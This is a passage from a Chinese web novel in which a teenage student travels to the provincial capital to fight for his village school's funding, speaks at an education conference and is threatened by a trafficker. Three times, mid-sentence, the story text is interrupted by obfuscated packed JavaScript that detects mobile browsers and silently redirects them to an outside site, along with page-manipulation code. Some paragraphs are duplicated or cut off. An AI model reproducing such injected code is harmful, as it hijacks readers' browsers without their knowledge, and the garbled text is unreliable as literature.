张静轩心头一紧。是陈继业的人?还是……别的什么人? 福伯回来了:“最早的一班船,还要等半个时辰。咱们先找个地方坐。” 四人找了个离茶摊远些的石头坐下。水生饿了,掏出烙饼吃。张静轩没胃口,只是盯着河面。 那两个人还在茶摊上,不时低声交谈。其中一个人站起身,往这边走来。 张静轩握紧了怀里的刀。 那人走近了,是个三十来岁的男子,面容清瘦,眼神温和。他在张静轩面前停下,微微躬身:“请问,是青石镇张家的少爷吗?” 张静轩没说话,只是看着他。 男子笑了笑:“别紧张。我是《新报》的记者,林觉民的同事,姓方。”他从怀里掏出记者证,“林记者托我带个话——省城那边,情况比想象的复杂。你们去,要有个准备。” 张静轩接过记者证,看了看,是真的。 “什么准备?”他问。 方记者四下看了看,压低声音:“教育厅里,不止郑副厅长一个人卡你们。还有几个科长、科员,都收了……某些人的好处。”他顿了顿,“你们去要拨款,等于断人财路。断人财路,如杀人父母。” 这话说得直白。张静轩明白了——卡拨款,不只是保守派打压新学,还有利益。 “那怎么办?” “两条路。”方记者说,“第一,妥协。他们开条件,你们答应。第二,硬扛。把事情闹大,闹到省府高层,闹到报纸头条。” “您建议哪条?” 方记者笑了:“我不是建议,是传话。林记者说,看你们自己的选择。但无论选哪条,他都会写文章支持。” 他说完,转身走了,回到茶摊,和同伴低声说了几句,两人起身离开,很快消失在人群里。 张静轩看着他们消失的方向,心里沉甸甸的。两条路,都不好走。妥协,违背初心;硬扛,风险太大。 “静轩,”卢明远轻声问,“怎么办?” 张静轩沉默良久,抬头看向河对岸。对岸的景物在晨光里渐渐清晰——房屋的轮廓,炊烟,还有远处隐约的城墙。 那是省城。那里有电灯,有汽车,有四层高的楼房,也有更复杂的争斗,更深的黑暗。 但他必须去。 “走。”他说,“过河。” 船来了。是条大木船,能载二三十人。船夫吆喝着,众人陆续上船。福伯把马车也赶上船——马有些怕,嘶鸣着,不肯动,费了好大劲。 船开了。桨划破水面,哗啦哗啦。船身摇晃,水花溅上来,凉丝丝的。张静轩站在船头,看着青石镇的方向。已经看不见了,只有连绵的青山,在晨雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140655|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里淡得像水墨画。 那是他的家乡。有祠堂,有学堂,有老槐树,有二十八个孩子。 他要为那个地方,争一个公道。 船到河心,水流急了。船夫用力划桨,喊着号子。风吹过来,带着河水的腥气和远方的陌生气息。 水生忽然说:“静轩哥,等咱们从省城回来,俺要告诉学堂里所有人,省城是什么样的。” 张静轩摸了摸他的头:“好。” 船到河心,水流急了。船夫用力划桨,喊着号子。风吹过来,带着河水的腥气和远方的陌生气息。张静轩收回望向家乡的目光,无意间瞥见对岸码头上,方才茶摊旁那两个戴斗笠的人已经不见了。 他心里那根弦微微绷紧。福伯似乎也有所觉,不动声色地将水生往船舱里侧带了带。渡船靠岸,跳板放下。踏上对岸坚硬冰冷的青石板,混杂着煤烟、牲畜和陌生香料的气味扑面而来,正式宣告他们已离开青云县地界。福伯去牵马车,张静轩和卢明远帮着搬运简单的行李。 “几位,打尖还是赶路啊?”一个穿着半旧短褂、面相精明的汉子凑上来,眼睛在张静轩身上打了个转,“看几位像是头一回来这渡口?需不需要雇个向导?省城路杂,不好走。” 卢明远客气地摆摆手:“多谢,有熟路。”那汉子也不纠缠,笑了笑便退开了。 对岸越来越近。码头上人影憧憧,喧嚣声传来。那是另一个世界。 船靠岸了。跳板放下,众人下船。张静轩踏上省城的土地——硬实的,铺着青石板,和青石镇一样,又不一样。 福伯去牵马车。卢明远指着前方:“看,那就是城门。” 果然,一道高大的城门矗立在晨光里。门洞深黑,像巨兽的嘴。城墙上飘着旗,看不清是什么旗。 四人朝城门走去。越近,人越多。挑担的,推车的,骑马的,还有几辆汽车,嘀嘀地按着喇叭。空气里混着各种气味——马粪味、汗味、早点味,还有一种说不清的、属于大城市的躁动。 张静轩握紧了包袱。里面装着沈特派员的介绍信,装着学堂的证明材料,装着青石镇街坊凑的钱,也装着他十五岁的心。 城门口,有警察站岗,检查行人。轮到他们时,警察看了看马车,又看了看人:“哪儿来的?” “青石镇。”福伯答。 “来干什么?” “办事。” 警察打量了张静轩几眼:“学生?” “是。” “进去吧。” 过了城门,眼前豁然开朗。一条宽阔的街道延伸向前,两旁是店铺,招牌琳琅满目。有卖绸缎的,卖茶叶的,卖洋货的。行人摩肩接踵,声音嘈杂。远处,果然有四层高的楼房,还有电车的轨道。 水生看得呆了,张着嘴,说不出话。 卢明远笑:“这才刚进城。等会儿到市中心,更热闹。” 福伯赶着马车,在人群中缓慢前行。张静轩看着两旁的一切——这就是省城。繁华,喧嚣,陌生。 他们找了家客栈住下。客栈在一条偏街上,不算大,但干净。安顿好后,卢明远说:“我先去教育厅打听打听。你们歇着。” 他走了。福伯在房间里检查门窗。水生趴在窗台上,看街景。 张静轩坐在床边,摊开包袱。那些材料,他翻过无数遍了,但此刻再看,忽然觉得单薄——几页纸,怎么抵得过那些盘根错节的利益? 但他必须试试。 傍晚,卢明远回来了,脸色不好。 “怎么样?”张静轩问。 “不妙。”卢明远坐下,“我托人打听了,郑副厅长这几天都不在厅里。说是去南京开会了。但底下人说,是故意躲着。” “躲我们?” “可能。”卢明远说,“而且,教育厅里确实有人在活动,说青石镇学堂‘手续不全’‘资质可疑’。这话,已经传到几个关键人物耳朵里了。” 张静轩沉默。他想过难,但没想到这么难——连面都见不着。 “那……咱们直接去厅里?” “去也没用。”卢明远摇头,“门房不会让进。就算进了,见到的也是小科员,做不了主。” 房间里一时寂静。窗外的省城华灯初上,电灯一盏盏亮起来,黄澄澄的,不像油灯那样跳动,稳定得让人陌生。 水生小声说:“那……咱们白来了?” “不会白来。”张静轩忽然说,“见不着官,就见民。” “见民?” “对。”张静轩站起身,“林记者不是说了吗?把事情闹大,闹到报纸头条。咱们就闹——去学校讲,去商会讲,去一切能讲话的地方,讲青石镇学堂的事,讲那些被拐卖的人,讲老百姓怎么凑钱办学。” 卢明远眼睛一亮:“你是说……造势?” “对。”张静轩点头,“官不听,就让民听。民听了,议论了,报纸写了,官就不得不听。” 福伯看着他,眼神复杂:“小少爷,这……太冒险了。” “不冒险,怎么办?”张静轩反问,“等?等到什么时候?等到学堂垮了?等到孩子们没学上了?” 没人说话。 “明天,”张静轩说,“我去省立师范学堂。苏先生是从那儿毕业的,她的老师、同学,总有人愿意听。” 卢明远点头:“我去商会。我爹在那儿有熟人。” “那……俺呢?”水生问。 张静轩摸摸他的头:“你跟我去。把你的故事,讲给人听。” 计划定下了。夜里,张静轩又睡不着。他看着窗外的电灯,那光稳定,冰冷,不像油灯那样有温度。省城的夜晚,也比青石镇吵——汽车声,电车声,还有隐约的留声机声,混在一起,像某种庞大的机器的呼吸。 他想起青石镇的夜。安静,只有更夫的梆子声,和青云河的水声。 14. 第十四章 省城暗涌 在客栈安顿下来的第二天,张静轩便决定开始行动,迎着晨光走向了省立师范学堂。学校位于城东,红砖围墙,铁艺大门,透过栅栏能看见宽阔的操场和一座气派的三层教学楼。穿着统一制服的学生正列队走进教室,秩序井然,与青石镇学堂孩子们撒欢跑进祠堂的光景截然不同。张静轩站在门外,抬头看着门楣上的校训:“诚朴勤勇”。四个隶书大字,漆已斑驳,但骨架仍在。 水生扯了扯他的衣角:“静轩哥,这儿……真大。” 确实大。青石镇学堂只有一座祠堂,这里却是成片的楼宇,三层的主教学楼,红砖墙,玻璃窗,操场上还有篮球架。晨读声从教学楼里飘出来,整齐,清亮,和他家乡孩子们参差不齐的读书声不同。 “走吧。”张静轩深吸一口气,走上台阶。 门房是个戴眼镜的老头,从窗口探出头:“找谁?” “我找国文系的李孟实教授。”张静轩递上苏宛音写的介绍信,“青石镇学堂的苏先生托我来的。” 老头接过信,看了看,又打量张静轩:“苏宛音?那丫头啊……进来吧。李教授这会儿该在办公室。” 穿过操场时,几个穿着蓝色学生装的女学生经过,看见他们,窃窃私语。水生不好意思地低下头。张静轩挺直脊背——不能给青石镇丢人。 李教授的办公室在主楼二楼。敲门进去时,老先生正伏案批改作业。听见声音抬头,花白的头发,圆框眼镜,面容清癯。 “李教授。”张静轩躬身行礼,“苏宛音先生托我向您问好。” “宛音啊……”李教授放下笔,眼神温和,“坐。她还好吗?” “还好。在青石镇办学堂。” “我听说了。”李教授示意他们坐下,“她在信里提过。怎么,遇到难处了?” 张静轩将青石镇的事一一道来——办学,遇阻,抓马三,救被拐者,以及如今省教育厅卡拨款。他说得很平静,但字字清晰。水生在一旁坐着,手紧紧抓着衣角。 李教授静静听着,手指轻轻敲击桌面。等张静轩说完,他摘下眼镜,擦了擦镜片。 “难为你们了。”他重新戴上眼镜,“宛音那孩子,性子倔,像她父亲。当年她父亲在我门下读书时,也是这般——认准的事,九头牛拉不回。” “苏先生父亲……” “苏文渊,我教过的最好的学生之一。”李教授眼神有些悠远,“光绪二十四年进士,本可前程似锦,偏要搞什么维新。后来……你们都知道了。” 办公室里一时安静。窗外传来操场上体育课的哨声,尖锐,刺耳。 “教授,”张静轩开口,“我们这次来省城,就是想为学堂争个公道。拨款被卡,总得有个说法。” 李教授看着他,忽然笑了:“孩子,你今年多大?” “十五。” “十五……”教授重复了一遍,“我十五岁时,还在背《四书》。你倒好,已经为了一所学堂,千里迢迢来省城讨说法了。” 张静轩没说话。 “你想我怎么帮?”李教授问。 “苏先生说,您是省教育界的耆宿,说话有分量。若能为我们说句话……” “说话容易。”李教授打断他,“但话要有人听。如今教育厅里,派系林立,新派旧派斗得厉害。你们青石镇学堂,恰好处在风口浪尖上——办的是新学,却在乡下;背景单纯,却又牵扯旧案。难啊。” 这话和方记者说的一样。张静轩心里一沉。 “不过,”李教授话锋一转,“也不是全无办法。”他站起身,从书架上取下一本册子,“下个月初,省教育学会要开年会。届时教育厅长、各大校长、社会名流都会到场。你若能在年会上发言,把青石镇的事当众说出来,或许……能引起注意。” “年会?”张静轩一愣,“我能去吗?” “按理说,不能。”李教授笑了,“但我是学会的常务理事,可以带一个‘助手’进场。你愿不愿意,当我的助手?” 张静轩心跳加快。这是个机会——在省城教育界最高规格的会议上发言,把青石镇的声音传出去。 “我愿意。”他说。 “好。”李教授点头,“不过,发言不能太长,不能太激。要讲事实,讲困难,讲希望。最重要的是——要让人记住。” 他顿了顿:“宛音的父亲当年在变法时,说过一句话:‘说真话,但要说得让人愿意听。’你记着这句话。” 从师范学堂出来时,已是晌午。阳光很好,照得省城的街道明晃晃的。张静轩走在人群里,脑子里还在回响李教授的话:说真话,但要说得让人愿意听。 水生跟在他身边,小声问:“静轩哥,那个教授……会帮咱们吗?” “会。”张静轩说,“但帮到什么程度,看咱们自己。” 两人回到客栈时,卢明远已经回来了,脸色比昨天更难看。 “商会那边……”他摇头,“没人愿意出面。都说这是‘官府的事’,商人不好插手。” 意料之中。张静轩没太失望。他把见李教授的事说了。 “教育学会年会?”卢明远眼睛一亮,“那可是大场合!静轩,你要是能在那里发言,效果比登报还强!” “但还有半个月。”张静轩说,“这半个月,咱们不能干等。” “你想做什么?” 张静轩想了想:“咱们去拜访其他学堂。省城不止一所新式学堂,那些办学的先生、校长,总该理解我们的难处。” 接下来的几天,他们开始奔走。省城果然大,光是新式学堂就有七八所,有公立的,有私立的,还有教会办的。他们一家家拜访,讲青石镇的事,讲办学的艰难,讲孩子们对读书的渴望。 有些学堂的先生很热情,听了唏嘘不已,答应帮忙说话;有些则态度冷淡,推说“爱莫能助”;还有一家教会学堂的洋人校长,听了翻译的话,直摇头:“你们中华民国的官僚……唉。” 但不管怎样,张静轩都认真地说,认真地听。他带着水生,走遍了省城的大街小巷。省城确实繁华,有电车叮叮当当地开过,有商店橱窗里摆着洋货,有戏院门口贴着花花绿绿的海报。但张静轩觉得,这些繁华背后,有种冷漠——每个人都在忙自己的事,很少人愿意停下来,听一个乡下孩子讲一所学堂的故事。 第五天傍晚,他们回到客栈,都累得够呛。福伯煮了姜茶,一人一碗。水生捧着碗,眼睛红红的。 “静轩哥,”他小声说,“今天那个学堂的先生……他说咱们是‘乡下人不懂规矩’。” 张静轩摸摸他的头:“他说他的,咱们做咱们的。” “可是……”水生低下头,“俺觉得,省城的人……看不起咱们。” 这话说得直白,但也真实。这几天,张静轩也感觉到了——那些礼貌背后的疏离,那些同情背后的优越感。在省城人眼里,青石镇大概只是个偏僻的、落后的小地方,那里的学堂,那里的孩子,都无足轻重。 “水生,”张静轩说,“你知道咱们青石镇,有多少年历史吗?” 水生摇头。 “至少三百年。”张静轩说,“青云河还没改道的时候,咱们镇子就在那儿了。省城呢?也不过百来年。谁看不起谁,还不一定。” 这话说得硬气。水生抬起头,眼睛亮了。 夜里,张静轩又在灯下写信。这次是写给苏宛音和程秋实的。 “苏先生、程先生台鉴:省城已至数日,奔走各学堂,见闻颇多。李孟实教授允助我在教育学会年会发言,此或为转机。然省城繁华之下,人情淡漠,非故乡可比。但请二位先生放心,学堂之事,静轩必竭尽全力。另,水生甚念学堂同窗,嘱我代问好。静轩谨上。” 信写得很短。他吹干墨迹,折好,放进信封。明天托福伯寄出去。 正要吹灯睡下,门外传来轻轻的敲门声。 “谁?” “我。”是卢明远的声音。 张静轩开门。卢明远闪身进来,手里拿着一封信,脸色凝重。 “静轩,我爹刚托人捎来的信。”他压低声音,“你看。” 信是卢父亲笔,写得很急:“明远吾儿:今日得悉,陈继业并未南下,仍在省内。有人在邻县见过他,身边跟着四五人,皆带家伙。彼等似在策划什么,目标或为青石镇,或为尔等。速告静轩,务必小心。父字。” 张静轩的心沉下去。陈继业没走,还在省内。而且,目标可能是他们。 “沈特派员知道吗?”他问。 “应该不知道。”卢明远说,“我爹的消息,是从商会一个朋友那儿得来的,那人跟陈继业以前有生意往来。” “那咱们……” “得告诉沈特派员。”卢明远说,“但他在省城,咱们怎么联系?” 张静轩想了想:“李教授。他是教育界的人,但省城人脉广,或许有办法。” 两人商议到深夜。最后决定,明天一早就去找李教授。无论如何,得让沈特派员知道这个消息。 第二天清晨,张静轩再次来到师范学堂。李教授听了,眉头紧锁。 “陈继业……”他沉吟道,“这个人我听说过。早年在省城做生意,后来不知怎么就跟那些脏事扯上了。”他顿了顿,“你们先别急。我有个学生在警务厅,虽然不是沈特派员那条线,但可以传话。” 他当即写了张条子,让张静轩去警务厅找一个姓周的科长。 警务厅在省城西区,一幢灰色的三层楼,门口站着持枪的岗哨。张静轩递上条子,等了约莫一刻钟,才被带进去。 周科长是个四十来岁的汉子,方脸,浓眉,穿着制服,坐在办公桌后。他看了条子,又打量张静轩:“你就是青石镇那个孩子?” “是。” “陈继业的事,我知道了。”周科长说,“沈特派员那边,我会通知。但你们自己,要格外小心。”他顿了顿,“陈继业这个人,心狠手辣,睚眦必报。你们坏了他的事,他不会善罢甘休。” “我们知道。” “知道就好。”周科长站起身,走到窗边,“省城不比乡下,人多眼杂,他不敢明着来。但暗地里……难说。”他转过身,“这样吧,我派两个人,暗中保护你们。直到你们离开省城。” 张静轩一愣:“这……太麻烦您了。” “不麻烦。”周科长摆摆手,“沈特派员是我老同学,他的案子,我该帮忙。况且……”他笑了笑,“你们这些孩子,为了办学,敢跟那些人斗,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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其实他根本没写稿子。这些天,他白天拜访各学堂,晚上就在脑子里一遍遍想,要说什么,怎么说。青石镇的山河,学堂的孩子,街坊的义气,苏宛音的坚持,程秋实的努力,还有那些被拐卖的人,那些黑暗与光明……都在他心里,不需要稿子。 年会前一天,张静轩去了趟省城的书店。他想找些书,带回去给学堂的孩子。书店很大,两层楼,摆满了书。他在教育类的书架前停下,一本本地看。 忽然,他在一本《新教育法》的旁边,看到了一本小册子——《青石镇新式学堂办学记》。 他愣住了。拿起来翻看,果然是林觉民写的。文章从青石镇办学开始,写到遇阻,写到反击,写到如今。文字朴实,但字字真切。册子印得简陋,显然是自费印刷的。 “这本书,卖得好吗?”他问店员。 店员是个戴眼镜的年轻人,看了看书:“哦,这本啊。是报馆的林记者自己印的,放在这儿代售。卖得……还行。有些学生买,有些先生也买。” 张静轩心里一暖。林觉民,那个只见过一面的记者,还在用他的方式,支持着青石镇。 他买下了那本小册子,又挑了几本适合孩子读的书——《儿童世界》《格致读本》《算术游戏》。结账时,店员看了看他:“你是……青石镇的?” “是。” 店员笑了:“那这本《办学记》,我不收你钱。林记者说了,青石镇的人来买,免费。” 张静轩道了谢。走出书店时,阳光正好,照在书封上,那几个字闪闪发亮。 回到客栈,他把小册子给水生看。水生识字还不多,但认得“青石镇”三个字,兴奋地指着:“静轩哥,咱们镇上书了!” “是啊。”张静轩摸摸他的头,“等咱们回去,把这本书给学堂里每个人都看看。” 夜里,张静轩又失眠了。明天就是年会,他要面对省城教育界最顶尖的一群人,说青石镇的故事。紧张吗?当然紧张。但他更多的是……一种平静的坚定。 他想起了青石镇的清晨,祠堂的钟声,孩子们读书的声音,街坊们凑钱时粗糙的手,苏宛音在黑板上写字的背影,程秋实讲《满江红》时激昂的语气……这些,都是他要说的。 还有大哥。大哥在前线,用枪保卫这片山河;他在后方,用笔,用声音,保卫这片山河的未来。 他坐起身,点亮灯,摊开纸。不是写稿子,而是画图——青石镇的地图。祠堂,张家,青云河,码头,关帝庙废墟……一笔一画,都在他心里。 画完,他在图旁写了一行字:“此心安处是吾乡。” 心安处,是青石镇,是学堂,是这片他要用一生守护的山河。 吹熄灯,躺下。窗外,省城的夜依然喧嚣。但张静轩觉得,那喧嚣里,也有一种力量——变革的力量,前行的力量。 明天,他要站到台上,把那力量,说给所有人听。 无论结果如何,他都要把青石镇的声音,留在省城。 留在那些可能改变中华民国教育的人心里。 窗外的月光,清冷冷地照进来。 照着他十五岁的脸。 那张脸上,有稚气,但更多是坚定。 明天,太阳照常升起。 而他,要站在光里。 说光的话。 15. 第十五章 台上十分钟 省教育学会年会的会场设在省立图书馆的演讲厅。这是一座西式建筑,穹顶高阔,大理石柱子上雕刻着卷草纹。上午九点,厅里已经坐满了人。前排是教育厅的官员、各大校长、社会名流,穿着长衫或西装,正襟危坐。后排是各学堂的教师代表,低声交谈着。 张静轩坐在侧幕的椅子上,透过幕布的缝隙往外看。水生紧挨着他,小手攥着他的衣角,手心全是汗。赵哥站在他们身后,手插在口袋里,目光警惕地扫视着四周。 “静轩哥,”水生小声说,“好多人……” “嗯。”张静轩应了一声。确实很多人,怕是有两三百。这是他第一次在这么多人面前说话。紧张吗?有一点。但更多的是一种奇异的平静——就像拉弓时,箭在弦上,心反而定了。 李教授从前面走过来,手里拿着议程表:“静轩,你是第三个发言。前面是教育厅郑副厅长致辞,然后是省立一中校长做年度报告。到你的时候,我会介绍。” “郑副厅长?”张静轩心头一动。那个卡拨款的郑副厅长? “对。”李教授压低声音,“他今天肯定要说些冠冕堂皇的话,什么‘教育救国’‘启智新民’之类。你听了,别往心里去。” 张静轩点头。他明白李教授的意思——官话归官话,实事归实事。 十点整,年会开始。一个穿长袍马褂的主持人上台,敲了敲铃,厅内安静下来。接着,一个五十来岁、戴着金丝眼镜的中年人走上讲台——正是郑副厅长。 郑副厅长的致辞果然如李教授所料,洋洋洒洒,引经据典,从孔夫子讲到蔡元培,从“有教无类”讲到“教育平等”。台下不时响起掌声,但张静轩听得出,那掌声多是礼节性的。 “……故我辈教育工作者,当以启民智、育新人为己任,虽九死其犹未悔!”郑副厅长最后一句提得很高,手臂一挥,颇有气势。 掌声雷动。郑副厅长微微颔首,走下台,经过侧幕时,目光在张静轩身上停留了一瞬,又移开了。那眼神,平静无波,像看一件无关紧要的摆设。 接下来是省立一中校长的报告。校长是个清瘦的老者,说话慢条斯理,讲的是学校这一年的成绩——多少学生考上大学,多少教师在学术期刊发表文章,多少经费用于购置实验器材。数据详实,但听得人昏昏欲睡。 张静轩看着台下。有人在本子上记着什么,有人悄悄打哈欠,有人交头接耳。这就是省城教育界的顶尖聚会?和他想象的不太一样——少了几分热血,多了几分程式。 终于,主持人宣布:“下面,有请青石镇新式学堂的学生代表,张静轩同学发言。他发言的题目是——《一所乡村学堂的坚守》。” 厅内响起稀稀拉拉的掌声。张静轩深吸一口气,走上讲台。 讲台很高,他个子不算矮,但站在那儿,仍觉得台下的人都在仰视着他——或者说,在审视着他。灯光很亮,照得他有些睁不开眼。他能感觉到几百道目光,像细密的针,扎在身上。 他定了定神,开口:“诸位先生,诸位师长。我是青石镇新式学堂的学生,张静轩。” 声音通过麦克风传出去,在空旷的大厅里回荡。他自己的声音,听起来有些陌生。 “青石镇是个小镇,在青云河边,离省城一百八十里。镇上有一千多户人家,大半务农,小半做小生意。三年前,镇上办起了第一所新式学堂。办学的人,是我的父亲,还有镇上的几位乡绅。” 他停顿了一下,目光扫过台下。有些人抬起头,似乎有了点兴趣。 “办学不容易。第一年,只有十二个学生,都是男孩。第二年,开了女班,多了八个女孩。先生是省城师范学堂毕业的,一男一女,男的教国文修身,女的教算学格致。束脩不多,但他们教得很用心。” 他讲起学堂的日常:清晨的钟声,孩子们的读书声,苏宛音在黑板上写字时的侧影,程秋实讲《满江红》时的激昂。讲得平静,但那些画面,随着他的叙述,在厅里慢慢铺开。 “但是,办学遇到了困难。”他话锋一转,“有人往学堂后墙泼粪,有人在夜里扔石头,有人散布谣言,说学堂教坏孩子,说女先生不守妇道。还有人,在省教育厅卡住了我们的拨款,说我们‘手续不全’‘资质可疑’。” 台下开始窃窃私语。有人皱眉,有人摇头,有人面无表情。 “我们想不明白。”张静轩继续说,“一所乡下学堂,教孩子识字算数,教他们做人的道理,为什么就这么难?后来我们才知道,阻挠我们的人,不只因为守旧,还因为利益——他们在走私军火烟土,还在拐卖人口。学堂启民智,百姓开了眼,他们的勾当就藏不住了。” 这话像一块石头扔进平静的湖面。台下骚动起来。郑副厅长的脸色变了变,但很快恢复平静。 张静轩从怀里掏出那本《青石镇新式学堂办学记》,举起:“这是一位记者写的,关于我们学堂的书。里面记录了这三年来,青石镇发生的事——有黑暗,也有光明;有破坏,也有坚守。” 他翻开书,念了一段:“‘在青石镇,我看到了中华民国乡村的希望。那里的人们,用最朴实的方式,守护着教育的火种。那火种很小,但很亮,足以照亮一片黑暗。’” 念完,他合上书,看着台下:“诸位师长,我们青石镇学堂,要的不多。我们只要一个公道——凭什么那些作恶的人可以逍遥法外,而我们这些想办点好事的人,却要处处受制?凭什么省里的拨款,可以一拖再拖,而那些被拐卖的人,却再也回不了家?” 他的声音不高,但字字清晰,像钉子,一颗颗钉进空气里。 台下鸦雀无声。 “我今天站在这里,不是来诉苦,也不是来讨钱。”张静轩说,“我是来告诉诸位,在中华民国,在民国,在无数像青石镇这样的小地方,还有人在坚持——坚持办学,坚持启智,坚持相信,这个国家会变好。” 他顿了顿,最后说:“我的大哥在前线打仗,他说,他在用枪保卫这片山河。我在学堂读书,我说,我在用笔,用声音,保卫这片山河的未来。我们兄弟俩,一个在前线,一个在后方,做的是同一件事——让这片土地上的人,活得像人。” 说完,他微微鞠躬,走下讲台。 静。 厅里静得能听见远处街市的隐约喧嚣。 然后,掌声响起来——先是后排几位年轻教师开始拍手,接着像涟漪荡开,越来越多的人加入。张静轩看见前排那位戴金丝眼镜的校长微微摇头,与邻座低声说了句什么;几位官员面无表情地低头记录;但更多的眼睛亮起来,有人摘下眼镜擦拭,有人挺直了脊背。 掌声持续了很久,直到主持人上台示意才渐渐停歇。 李教授在侧幕看着他,眼里有泪光。 张静轩回到侧幕,水生扑上来抱住他:“静轩哥,你说得太好了!” 赵哥拍了拍他的肩:“小子,有种。” 郑副厅长脸色铁青,但在一片掌声中,他也只好跟着拍手。 接下来的议程,张静轩没怎么听。他坐在那儿,手心全是汗,但心里很畅快。那些话,憋了太久,终于说了出来。至于结果如何,他已经不在意了。 年会结束时,不少人围过来。有校长握着他的手说:“孩子,你说得好。我们学校,愿意跟你们青石镇学堂结成姊妹学校。”有教师说:“我要去你们那儿看看,取取经。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140657|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”还有记者挤过来,要采访。 张静轩一一回应,不卑不亢。水生跟在他身边,挺着小胸脯,像只骄傲的小公鸡。 李教授最后走过来,低声说:“静轩,你今天……可能会惹麻烦。” “我知道。”张静轩点头,“但不说,麻烦更大。” 李教授看着他,叹了口气:“你比你父亲……更像你爷爷。当年你爷爷从关外逃难来时,也是这般——话不多,但句句在理,句句硬气。” 这是张静轩第一次听外人说起爷爷的事。他忽然想起父亲书房里那幅《山河图》,想起爷爷带着一把弓南逃的故事。 “谢谢教授。”他说。 从图书馆出来,天已近黄昏。省城的街道华灯初上,电车叮叮当当地开过。张静轩走在人群里,觉得脚步很轻——不是身体轻,是心里轻。那些压了很久的东西,终于卸下了。 回到客栈,福伯已经备好了饭。四人围桌坐下,水生兴奋地讲着会上的事,比手画脚。卢明远听着,眼睛越来越亮。 “静轩,”他说,“你今天这一说,省城教育界要震动了。” “震动不震动,另说。”张静轩夹了一筷子菜,“但话说了,心里舒坦。” 正吃着,赵哥从外面进来,脸色凝重:“刚接到消息,陈继业……可能来省城了。” 筷子停在半空。 “什么?”卢明远站起来,“他怎么敢……” “狗急跳墙。”赵哥说,“你们今天在年会上的发言,肯定传到他耳朵里了。他怕你们再挖出什么,想来……灭口。” 张静轩放下筷子:“他现在在哪儿?” “不知道。”赵哥摇头,“但我们的人在车站、码头都布置了,一有消息就动手。”他顿了顿,“这几天,你们别出门。等抓到他,再走。” 不出门?可他们来省城,不是为了躲的。 “年会的事还没完。”张静轩说,“明天,还有几个学堂要去拜访。” “太危险了。”福伯开口,“小少爷,这次得听赵哥的。” 张静轩沉默。他明白福伯的担心,也明白赵哥的好意。但就这样躲着?他不甘心。 “这样吧,”他说,“明天我们不出门,但可以去拜访隔壁的客栈——那儿住着几位从邻县来的教师,也是来开年会的。就在客栈里谈,总可以吧?” 赵哥想了想,点头:“那行。我跟着。” 计划就这么定了。夜里,张静轩躺在床上,却睡不着。陈继业要来省城?他胆子真大。但转念一想,也对——一个连拐卖人口都敢做的人,还有什么不敢? 他想起茶棚里那几个汉子,想起那辆冲出来的汽车,想起马三那张凶恶的脸。这些碎片,在黑暗里拼凑出陈继业的模样——一个为了利益,什么都敢做的恶徒。 这样的人,必须抓住。 他坐起身,点亮灯,摊开纸笔。该给沈特派员写封信了。 “沈叔叔台鉴:今日在教育学会年会发言,已陈青石镇事。闻陈继业或来省城,心甚忧。此獠不除,青石镇难安,学堂难安。盼速擒之,以正国法。静轩谨上。” 信写得很短。他吹干墨迹,折好,放在枕边。明天托赵哥送去。 吹熄灯,重新躺下。窗外的省城依然喧嚣,但张静轩觉得,那喧嚣里,多了些别的东西——或许是变革的气息,或许是希望的火苗。 他知道,从今天起,青石镇学堂的名字,会在省城教育界传开。会有更多的人知道,在青云河边,有那么一群人在坚持办学,启民智,抗黑暗。 这,就够了。 至于陈继业,至于那些阻挠,至于省厅的拨款……路还长,慢慢走。 16. 第十六章 暗巷 省城第二天的晨报,头版下方有条不显眼的新闻:《青石镇少年在年会上直言,引教育界震动》。标题不大,但内容详实,几乎全文刊登了张静轩的发言。文章末尾还加了编者按:“乡村教育之艰难,由此可见一斑。愿当局能闻此言,有所作为。” 张静轩在客栈大堂看到这份报纸时,福伯已经买了好几份,分发给住客。水生捧着报纸,指着自己的名字兴奋地小声念——他识字还不多,但认得“张静轩”三个字。 “静轩哥,你上报了!” 张静轩笑了笑,没说话。他更关心另一条消息——报纸第二版角落有则短讯:“警方昨夜在城南破获一走私窝点,抓获三人,缴获烟土若干。主犯在逃。” 在逃。这两个字像根刺,扎在他心里。 赵哥从外面进来,手里提着早点,脸色却不太好。他把油条包子放在桌上,压低声音:“刚接到通知,陈继业……可能真到省城了。” 卢明远手里的筷子停住:“确定?” “有人在火车站见过他。”赵哥说,“戴着礼帽,遮着脸,但身形像。跟他一起的还有两个人,都带着家伙。” 客栈大堂里还有其他客人,正吃着早饭闲聊。张静轩环视一周,忽然觉得每个人都可疑——那个独坐看报的中年人,那对低声交谈的男女,那个一直盯着门外看的伙计…… “那咱们今天……”卢明远问。 “按原计划。”张静轩说,“去拜访隔壁客栈的教师。但赵哥,得麻烦您跟着。” 赵哥点头:“我就在门外。有事喊一声。” 隔壁客栈叫“悦来居”,比他们住的这家稍大些,也贵些。住的大多是来省城办事的体面人。张静轩要找的那几位教师,是邻县“明德学堂”的先生,昨天在年会上见过,对他很热情,约好今天详谈。 